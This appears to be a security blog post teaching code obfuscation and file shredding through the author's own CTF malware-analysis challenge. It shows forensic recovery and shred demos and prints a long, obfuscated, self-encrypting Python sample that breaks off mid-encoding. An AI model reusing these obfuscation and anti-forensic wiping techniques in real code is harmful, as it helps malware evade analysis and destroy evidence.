Sn4ke_Ey3s Blogs
Theme Color
250
2858 words
14 minutes
Technical Deep Dive: Obfuscation and Shredding Techniques in Malwares

Obfuscation and Shredding: A Study in Concealment and Destruction#

In the context of concealing data in the modern information technology world, two techniques particularly stand out for their effectiveness and purpose: obfuscation and shredding. While each one of them attempts to achieve a different aim, one seeking to baffle and the other to delete, they both deny access in some manner. These methods, while differing in approach through code alteration or permanent data deletion, serve critical roles in both proactive and reactive cybersecurity strategies.

In today’s blog, i’ll take you on a journey to discover the magic of basic obfuscation and shreedding by studying a detailed Malware Analysis CTF That i created in the Moroccan Cyber Security Camp CTF v12 Qualification.

The goal is to get familiarized with the shredding term, reverse engineering and threat hunting to unveil the malicious act by the malware.

Blog Plan#

  • 1. Understanding the Foundations
  • 2. Case Study: Internal 43 | A Self-Shredding Python Malware (CTF-based)
  • 3. From Confusion to Clarity: The Hunting Process

Understanding the Foundations#

As we said, we will start studying the core concepts that this malware covers, which are Obfuscation and Shredding.

2.1 Obfuscation?
In simple words, Obfuscation refers to the intentional modification of code or data to render it unintelligible and unreadable, resistant to analysis, or challenging to reverse engineer (Mind blower), but while preserving its original functionality. This technique is employed by both legitimate entities like software developers protecting proprietary logic and malicious actors like us in this example.

Nice, now how this is done?, Obfuscation has multiple types, from such we find

Control Flow Obfuscation#

This method disrupts the logical flow of a script using redundant structures, such as loops or conditional checks, to obscure the true execution path.

max_attempts=5 counter=0 success=0 for (( i=1; i<=max_attempts; i++ )); do let counter++ random_num=$(( ( RANDOM % 6 ) + 1 )) # Generate 1-6 if [[ $random_num -ge 3 ]]; then success=1 break else sleep 0.$(( RANDOM % 5 + 1 )) # Random delay 0.1-0.5s fi done if [[ $success -eq 1 ]]; then $(printf "\x2f\x62\x69\x6e\x2f\x65\x63\x68\x6f\x20\x5e\x5f\x5e\x20\x48\x69\x64\x64\x65\x6e\x20\x4d\x65\x73\x73\x61\x67\x65") fi

By employing a loop with randomization, superfluous variables, and encoded commands to conceal its actual intent, this script exemplifies control flow obfuscation. A hexadecimal-encoded command (/bin/echo ^_^ Hidden Message) that simply prints ^_^ Hidden Message is executed after it decodes and generates random numbers in a loop with a high probability of “success.” Static and dynamic analysis are complicated by the use of redundant logic, misleading variables like counter and success, random delays, and runtime decoding, which makes it more difficult for analysts to understand the purpose of the script.

Variable Renaming and Dead Code (Python Example)#

The following technique combines ambiguous variable names, unused code, and indirect function calls to mislead analysts.

Example

hdotdjs = "cGF5bG9hZAo=" #for 'payload\n' hdotdjj = 1234 # here is oure dead variable def r(): return eval("print") r()(hdotdjs.encode('ascii').decode('base64'))

The string cGF5bG9hZAo= in this obfuscated Python snippet is a Base64-encoded version of payload\n, which at first glance hides the script’s actual content. In order to complicate the script and make analysts confused, a dummy variable hdotdjj = 1234 is introduced but never used. By using eval("print") to return the print function indirectly, the function r() adds a layer of indirection that obfuscates the execution flow. This multi step process of encoding, decoding, and indirect invocation effectively hides the script’s purpose from rapid or automated inspection. Then comes the line r()(hdotdjs.encode('ascii').decode('base64')) both decodes and executes the hidden payload.

Note that this is very basic obfuscation topic, the purpose from these sections is to understand its logic.

2.2 Shredding?

If obfuscation is about hiding, shredding is about erasing. File shredding goes beyond basic deletion, it ensures that once data is removed, it becomes irrecoverable. While normal deletion simply unlinks a file from the filesystem (or technically said, it removes the pointer to the data in memory), leaving the data blocks intact until overwritten, shredding overwrites the file content multiple times to prevent forensic recovery. So in such cases malwares authors often uses shredding techniques to clean up evidence after execution, drop artifacts temporarily, or eliminate logs.

Seems easy huh. Lets take an example,

When we use rm (rm file.txt) on Linux or Unix systems, the file is not totally erased from the disk, it is merely unlinked from the filesystem directory structure, making it “invisible” to normal access. The actual data still resides on the physical storage medium, but the filesystem marks that space as available for reuse. As long as no new data has overwritten that region, the original content can often be recovered using forensic tools like extundelete, photorec, or foremost, which scan raw disk sectors to reconstruct deleted files.

Lets take action on this by creating a disk image for testing, our target is recover a file deleted with rm and because the data is still on disk until overwritten

dd if=/dev/zero of=testdisk.img bs=1M count=50 mkfs.ext4 testdisk.img sudo mkdir /mnt/testdisk sudo mount -o loop testdisk.img /mnt/testdisk sudo echo "Sn4keEy3s secret data to be recovered" > /mnt/testdisk/secret.txt

So i created a disk image and formate it with ext4, the for the demo i mounted it and create a secret.txt file.

Now if we remove the file and unmount the disk from the mounting point :

sudo rm /mnt/testdisk/secret.txt sync sudo umount /mnt/testdisk

So now the file is deleted,b ut reaaaally? If it is, we should not found a trace for it. lets now try to carve files from the unmounted disk,

binwalk -e testdisk.img

alt text

Some interesting files showed up

The files extracted by binwalk -e testdisk.img (such as 0.ext, 17000.ext..) are raw segments of the EXT filesystem carved out from specific offsets within the disk image where binwalk detected ext4 filesystem structures. These .ext and .ext2 files represent portions of the original filesystem, such as metadata blocks, journals, or actual data, lets see.

FilenameOffset (from image)What it is
0.ext0x0Beginning of the original EXT4 FS
17000.ext0x17000Internal EXT metadata or journal block
22000.ext20x22000Another EXT FS data segment
34D000.ext20x34D000More EXT filesystem data
357000.ext20x357000Additional EXT block
ext-rootDirectory where binwalk attempts to reassemble structure
strings 0.ext

alt text

As we can see here we successfully recovered the actual data of the secret.txt file, we can also see the file name.

While rm only removes a file’s reference from the filesystem, leaving the raw data recoverable. shred goes much further by overwriting the contents of a file multiple times before deletion. This process dramatically reduces the chances of forensic recovery.

By default, shred uses random data to overwrite a file’s content several times, optionally adding final zeroing and deletion steps. For example, executing shred -n 3 -z -u secret.txt will overwrite the file three times with random data, add a final overwrite with zeros (-z), and then unlink the file (-u). Unlike rm, where we saw earlier that we could carve out the content using tools like binwalk, strings, or photorec, shredding actively destroys that recoverable data. This makes it a preferred method for malware authors who wish to wipe out forensic traces after dropping payloads, executing malicious logic, or tampering with logs. Once shredded, recovery attempts are almost always futile, even when scanning raw disk sectors.

Lets see shred on action by creating a new disk image for test

alt text

This time i’m using shred -n 3 -z -u secret.txt, the the file is overwritten three times with random data, and a final overwrite with zeros. so when greping on Sn4ke that was in the removed data, we can’t find it.

Lets discover binwalk.

alt text

As we can see here 0s replaced our original data, so that it can’t be recovered.

In conclusion, while rm only hides files by unlinking them, leaving data recoverable. shred securely erases content by overwriting it, making forensic recovery nearly impossible so this makes shred a powerful tool for securely deleting sensitive data, but i guess there will be other techniques to recover the data, maybe advanced ones.

Case Study: Internal 43 | A Self-Shredding Python Malware (CTF-based)#

We looked at the basics of shredding and obfuscation in the earlier sections. I developed a Forensics-challenge called Internal 43 for our CTF (MCSC v12 2025) that included a Python-based malware sample. Despite its straightforward operation, it included a self-shredding mechanism and an obfuscation layer that effectively deceived a large number of participants.

I will conduct a threat hunt on the malware in the upcoming analysis in order to identify and illustrate its primary features that we covered.

  • First Insights :
import os import glob import base64 import subprocess def ksii343(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii342(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii341(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii340(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34a(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) lllllllllllllll = str def ksii34b(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34c(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34d(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34e(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34f(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34s(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii34k(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) def ksii344(text, llkjhhjkkkkkkLONG): eeeeeeeeeeeeeeeeeeeeeeXXrted = [] lkjhs = len(llkjhhjkkkkkkLONG) for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) return "".join(eeeeeeeeeeeeeeeeeeeeeeXXrted) def dshyXXXlsoe(text, llkjhhjkkkkkkLONG, llllllllllllllki): lkjhs = len(llkjhhjkkkkkkLONG) assert(lkjhs== int(((0x23^0x2)/ 3)+2)) eeeeeeeeeeeeeeeeeeeeeeXXrted = [] for i, ch in enumerate(text): COLLOSALkhsTfrff2133 = chr((ord(ch) + ord(llkjhhjkkkkkkLONG[i % lkjhs])) % 256) eeeeeeeeeeeeeeeeeeeeeeXXrted.append(COLLOSALkhsTfrff2133) return llllllllllllllki.join(eeeeeeeeeeeeeeeeeeeeeeXXrted) def XXXXXXXXXJSPRRRJSDSAUDJSNSNSWI(): oiiiiiiiiiujauqobsolute2311 = os.path.abspath(__file__) with open(oiiiiiiiiiujauqobsolute2311, "r", encoding="utf-8") as f: script_data = f.read() IIIllIIlllIIIIlIII = base64.b64decode(lllllllllllllll('.' + '@#=@' + '#=g#Cm9' + 'F|d#-wl#nc_j' + '#5W.Z')[::-1].replace('_', '').replace('.', '').replace('|', '').replace('-', '').replace('#', '').replace('@', '')).decode('utf-8').strip() i = script_data.index(IIIllIIlllIIIIlIII) juyt = script_data[i:] liiencrypt = dshyXXXlsoe(juyt, sowiaaaandowTgsRETfs, llllllllllllllki=env) new_script_data = script_data[:i] + liiencrypt with open(oiiiiiiiiiujauqobsolute2311, "w", encoding="utf-8") as f: f.write(new_script_data) subprocess.run(["rm", "-f", "env"]) def ¸__XXX__Ö__XXX__Õ__XXX__×__XXX__Þ__XXX__Ô__XXX__½__XXX__³__XXX__Ò__XXX__™__XXX__ã__XXX__˜__XXX__å__XXX__{__XXX__Ô__XXX__å__XXX__Ô__XXX__Ê__XXX__Í__XXX__¾__XXX__Ë__XXX__•__XXX__j__XXX____XXX__S__XXX__’__XXX__s__XXX__ˆ__XXX__Ø__XXX__Ô__XXX__×__XXX__„__XXX__¯__XXX__½__XXX__Ø__XXX__•__XXX__—__XXX__œ__XXX__à__XXX__s__XXX__Ï__XXX__Þ__XXX__Ô__XXX__Ç__XXX__’__XXX__°__XXX__À__XXX__Û__XXX__’__XXX__Ÿ__XXX__™__XXX__”__XXX__Î__XXX__Ô__XXX__å__XXX__Ô__XXX__Ê__XXX__Í__XXX__¾__XXX__Ë__XXX__é__XXX_____XXX__¡__XXX__a__XXX__æ__XXX__Ë__XXX__Ü__XXX__”__XXX__Ž__XXX__Ÿ__XXX__n__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__s__XXX__ß__XXX__Û__XXX__Ù__XXX__Í__XXX__„__XXX__¸__XXX__Ä__XXX__Ñ__XXX__ž__XXX__Ÿ__XXX__™__XXX__Û__XXX__¿__XXX__Í__XXX__ž__XXX__…__XXX__‡__XXX__Ö__XXX__k__XXX__€__XXX__Œ__XXX__•__XXX__å__XXX__–__XXX__á__XXX__·__XXX__Ñ__XXX__à__XXX__Ì__XXX__¢__XXX__†__XXX__¾__XXX__È__XXX__Ò__XXX__]__XXX__¯__XXX__U__XXX__›__XXX__s__XXX__É__XXX__å__XXX__…__XXX__Ë__XXX__ž__XXX__S__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__s__XXX__ˆ__XXX__’__XXX__…__XXX__…__XXX__„__XXX__­__XXX__µ__XXX__à__XXX__‘__XXX__—__XXX__p__XXX__’__XXX__¹__XXX__–__XXX__ä__XXX__Ê__XXX__Æ__XXX__È__XXX__q__XXX__}__XXX__v__XXX__P__XXX__—__XXX__S__XXX__’__XXX__s__XXX__ˆ__XXX__’__XXX__…__XXX__Ñ__XXX__È__XXX__¸__XXX__¹__XXX__Õ__XXX__—__XXX__ë__XXX__§__XXX__’__XXX____XXX__ˆ__XXX__Ý__XXX__Ø__XXX__Î__XXX__Í__XXX__|__XXX__ˆ__XXX__ __XXX__X__XXX__Û__XXX__”__XXX__æ__XXX__´__XXX__”__XXX__’__XXX__Ô__XXX__Ú__XXX__Í__XXX__²__XXX__½__XXX__Õ__XXX__™__XXX__à__XXX__œ__XXX__Û__XXX__¼__XXX__Ø__XXX__â__XXX__Õ__XXX__Õ__XXX__Ô__XXX__¹__XXX__Ä__XXX__Ü__XXX__ __XXX__ç__XXX__£__XXX__â__XXX__Ã__XXX__Ø__XXX__â__XXX__Õ__XXX__Ž__XXX__n__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__s__XXX__ß__XXX__Û__XXX__Ù__XXX__Í__XXX__„__XXX__¸__XXX__Ä__XXX__Ñ__XXX__ž__XXX__Ÿ__XXX__™__XXX__Û__XXX__¿__XXX__Í__XXX__ž__XXX__…__XXX__‡__XXX__Û__XXX__k__XXX__€__XXX__Œ__XXX__•__XXX__å__XXX__–__XXX__á__XXX__·__XXX__Ñ__XXX__à__XXX__Ì__XXX__¢__XXX__†__XXX__¾__XXX__È__XXX__Ò__XXX__]__XXX__¯__XXX__U__XXX__›__XXX__s__XXX__É__XXX__å__XXX__…__XXX__Ë__XXX__ž__XXX__S__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__s__XXX__ˆ__XXX__’__XXX__…__XXX__…__XXX__„__XXX__¯__XXX__‚__XXX__ã__XXX__¢__XXX__à__XXX__§__XXX__×__XXX__{__XXX__Ô__XXX__Ö__XXX__Ô__XXX__Ê__XXX__Í__XXX__°__XXX__È__XXX__à__XXX__Y__XXX____XXX__S__XXX__’__XXX__s__XXX__ˆ__XXX__’__XXX__…__XXX__…__XXX__„__XXX__¹__XXX__Æ__XXX__Õ__XXX__ž__XXX__ë__XXX__[__XXX__Ø__XXX__u__XXX__Á__XXX__á__XXX__Ú__XXX__…__XXX__Å__XXX__»__XXX__¹__XXX__Œ__XXX__˜__XXX__Ø__XXX__–__XXX__Ý__XXX__¸__XXX__Ì__XXX__’__XXX__‘__XXX__…__XXX__¸__XXX__¸__XXX__t__XXX__Þ__XXX__•__XXX__Ú__XXX__¢__XXX__è__XXX__¸__XXX__Ú__XXX__’__XXX__Þ__XXX__Ô__XXX__Ù__XXX__»__XXX__t__XXX__Ò__XXX__œ__XXX__ê__XXX_____XXX__’__XXX__Æ__XXX__Ð__XXX__á__XXX__Ü__XXX__…__XXX__Ñ__XXX__®__XXX__t__XXX__å__XXX__Ÿ__XXX__ì__XXX__¥__XXX__’__XXX__¾__XXX__Ñ__XXX__à__XXX__É__XXX__Ó__XXX__É__XXX__¼__XXX__Ç__XXX__Œ__XXX__™__XXX__å__XXX__S__XXX__ß__XXX__Ì__XXX__ˆ__XXX__é__XXX__Æ__XXX__Ñ__XXX__Ð__XXX__®__XXX__È__XXX__Œ__XXX__`__XXX__ï__XXX__i__XXX__«__XXX__Š__XXX__š__XXX__Ø__XXX__Æ__XXX__Ç__XXX__—__XXX__‚__XXX__†__XXX__Ñ__XXX__^__XXX__—__XXX__w__XXX__·__XXX__Ÿ__XXX__©__XXX__»__XXX__…__XXX__Ÿ__XXX__„__XXX__~__XXX__t__XXX__°__XXX__‘__XXX__ð__XXX__¦__XXX__ __XXX__u__XXX__‘__XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX__™__XXX__à__XXX__f__XXX__¦__XXX__¸__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX__œ__XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX__›__XXX____XXX__r__XXX__’__XXX__…__XXX__…__XXX__„__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__Ê__XXX__½__XXX__×__XXX__Ø__XXX__®__XXX__¸__XXX__Œ__XXX__m__XXX__—__XXX__Ž__XXX__Ï__XXX__]__XXX__ˆ__XXX__’__XXX__…__XXX__…__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__£__XXX__—__XXX__p__XXX__’__XXX__¿__XXX__Í__XXX__à__XXX____XXX__Ñ__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__˜__XXX__á__XXX__ž__XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__Ð__XXX__±__XXX__³__XXX__—__XXX__›__XXX__•__XXX__:__XXX__—__XXX__S__XXX__’__XXX__s__XXX__Î__XXX__á__XXX__×__XXX__…__XXX__Í__XXX__u__XXX__t__XXX__Ï__XXX__˜__XXX__—__XXX__œ__XXX__à__XXX__s__XXX__Í__XXX__à__XXX__Ú__XXX__Ò__XXX__É__XXX__»__XXX__µ__XXX__à__XXX__•__XXX__Ÿ__XXX__§__XXX__×__XXX__Ë__XXX__Ü__XXX__›__XXX__Ÿ__XXX__o__XXX__„__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__–__XXX__·__XXX__¾__XXX__±__XXX__´__XXX__·__XXX__Š__XXX__ __XXX__×__XXX__˜__XXX__ê__XXX__‡__XXX__Ø__XXX__Å__XXX__Î__XXX__Ø__XXX__—__XXX__–__XXX__—__XXX__|__XXX__t__XXX__©__XXX__P__XXX__Ú__XXX__›__XXX__ä__XXX__{__XXX____XXX__á__XXX__×__XXX__É__XXX__Œ__XXX__¬__XXX__¼__XXX__•__XXX__P__XXX__¢__XXX__S__XXX__á__XXX__Å__XXX__Ì__XXX__š__XXX__Ñ__XXX__Ñ__XXX__Ï__XXX__³__XXX__¼__XXX__Ô__XXX__š__XXX__â__XXX__ž__XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__±__XXX__´__XXX__²__XXX____XXX__¯__XXX__Õ__XXX__P__XXX__œ__XXX__S__XXX__Þ__XXX__¾__XXX__Ò__XXX__Ú__XXX__Ø__XXX__Â__XXX____XXX__r__XXX__t__XXX__‘__XXX__P__XXX__©__XXX__h__XXX__¨__XXX__|__XXX__r__XXX__’__XXX__…__XXX__…__XXX__„__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__¡__XXX__¬__XXX__Þ__XXX__¤__XXX__Ü__XXX__—__XXX__ __XXX__´__XXX__Ø__XXX__â__XXX__Ê__XXX__Ó__XXX__È__XXX__q__XXX__—__XXX__»__XXX__|__XXX__Ã__XXX__‚__XXX__Å__XXX__”__XXX__´__XXX__Ý__XXX__Í__XXX__Ø__XXX__¸__XXX__¯__XXX__Æ__XXX__Ò__XXX__–__XXX__©__XXX__d__XXX__¥__XXX__†__XXX__‘__XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX__™__XXX__à__XXX__f__XXX__¦__XXX__¹__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX__œ__XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX__›__XXX____XXX__r__XXX__’__XXX__…__XXX__…__XXX__„__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__Ê__XXX__½__XXX__×__XXX__Ø__XXX__®__XXX__¸__XXX__Œ__XXX__m__XXX__—__XXX__Ž__XXX__Ï__XXX__]__XXX__ˆ__XXX__’__XXX__…__XXX__…__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__£__XXX__—__XXX__p__XXX__’__XXX__¿__XXX__Í__XXX__à__XXX____XXX__Ñ__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__˜__XXX__á__XXX__ž__XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__Ð__XXX__±__XXX__³__XXX__—__XXX__›__XXX__•__XXX__:__XXX__—__XXX__S__XXX__’__XXX__s__XXX__Î__XXX__á__XXX__×__XXX__…__XXX__Í__XXX__u__XXX__t__XXX__Ï__XXX__˜__XXX__—__XXX__œ__XXX__à__XXX__s__XXX__Í__XXX__à__XXX__Ú__XXX__Ò__XXX__É__XXX__»__XXX__µ__XXX__à__XXX__•__XXX__Ÿ__XXX__§__XXX__×__XXX__Ë__XXX__Ü__XXX__›__XXX__Ÿ__XXX__o__XXX__„__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__–__XXX__·__XXX__¾__XXX__±__XXX__´__XXX__·__XXX__Š__XXX__ __XXX__×__XXX__˜__XXX__ê__XXX__‡__XXX__Ø__XXX__Å__XXX__Î__XXX__Ø__XXX__—__XXX__–__XXX__—__XXX__|__XXX__t__XXX__©__XXX__P__XXX__Ú__XXX__›__XXX__ä__XXX__{__XXX____XXX__á__XXX__×__XXX__É__XXX__Œ__XXX__¬__XXX__¼__XXX__•__XXX__P__XXX__¢__XXX__S__XXX__á__XXX__Å__XXX__Ì__XXX__š__XXX__Ñ__XXX__Ñ__XXX__Ï__XXX__³__XXX__¼__XXX__Ô__XXX__š__XXX__â__XXX__ž__XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__±__XXX__´__XXX__²__XXX____XXX__¯__XXX__Õ__XXX__P__XXX__œ__XXX__S__XXX__Þ__XXX__¾__XXX__Ò__XXX__Ú__XXX__Ø__XXX__Â__XXX____XXX__r__XXX__t__XXX__‘__XXX__P__XXX__©__XXX__h__XXX__¨__XXX__|__XXX__r__XXX__’__XXX__…__XXX__…__XXX__„__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__¡__XXX__¬__XXX__Þ__XXX__¤__XXX__Ü__XXX__—__XXX__ __XXX__´__XXX__Ø__XXX__â__XXX__Ê__XXX__Ó__XXX__È__XXX__q__XXX__—__XXX__»__XXX__|__XXX__Ã__XXX__‚__XXX__Å__XXX__”__XXX__´__XXX__Ý__XXX__Í__XXX__Ø__XXX__¸__XXX__¯__XXX__Æ__XXX__Ò__XXX__–__XXX__©__XXX__d__XXX__¥__XXX__†__XXX__‘__XXX__|__XXX__É__XXX__Ê__XXX__Ê__XXX__i__XXX__¿__XXX__ß__XXX__™__XXX__à__XXX__f__XXX__¦__XXX__Æ__XXX____XXX__æ__XXX__Ê__XXX__Ý__XXX__Ø__XXX__u__XXX__t__XXX__Ø__XXX__œ__XXX__â__XXX____XXX__Ú__XXX__»__XXX__Ò__XXX__Ý__XXX__Ð__XXX__Ð__XXX__Ï__XXX__´__XXX__¿__XXX__¸__XXX____XXX__Å__XXX__z__XXX__›__XXX____XXX__r__XXX__’__XXX__…__XXX__…__XXX__„__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__×__XXX__Ê__XXX__Ê__XXX__É__XXX__®__XXX__¹__XXX__Ñ__XXX__•__XXX__Ü__XXX__˜__XXX__×__XXX__¸__XXX__Í__XXX__Ê__XXX__½__XXX__×__XXX__Ø__XXX__®__XXX__¸__XXX__Œ__XXX__m__XXX__—__XXX__Ž__XXX__Ï__XXX__]__XXX__ˆ__XXX__’__XXX__…__XXX__…__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__£__XXX__—__XXX__p__XXX__’__XXX__¿__XXX__Í__XXX__à__XXX____XXX__Ñ__XXX__Ð__XXX__´__XXX__¾__XXX__Ô__XXX__˜__XXX__á__XXX__ž__XXX__Ý__XXX__¾__XXX__Ó__XXX__Ý__XXX__Ð__XXX__±__XXX__³__XXX__—__XXX__›__XXX__•__XXX__:__XXX__—__XXX__S__XXX__’__XXX__s__XXX__Î__XXX__á__XXX__×__XXX__…__XXX__Í__XXX__u__XXX__t__XXX__Ï__XXX__˜__XXX__—__XXX__œ__XXX__à__XXX__s__XXX__Í__XXX__à__XXX__Ú__XXX__Ò__XXX__É__XXX__»__XXX__µ__XXX__à__XXX__•__XXX__Ÿ__XXX__§__XXX__×__XXX__Ë__XXX__Ü__XXX__›__XXX__Ÿ__XXX__o__XXX__„__XXX__i__XXX__t__XXX__Œ__XXX__P__XXX__—__XXX__S__XXX__’__XXX__–__XXX__·__XXX__¾__XXX__±__XXX__´__XXX__·__XXX__Š__XXX__ 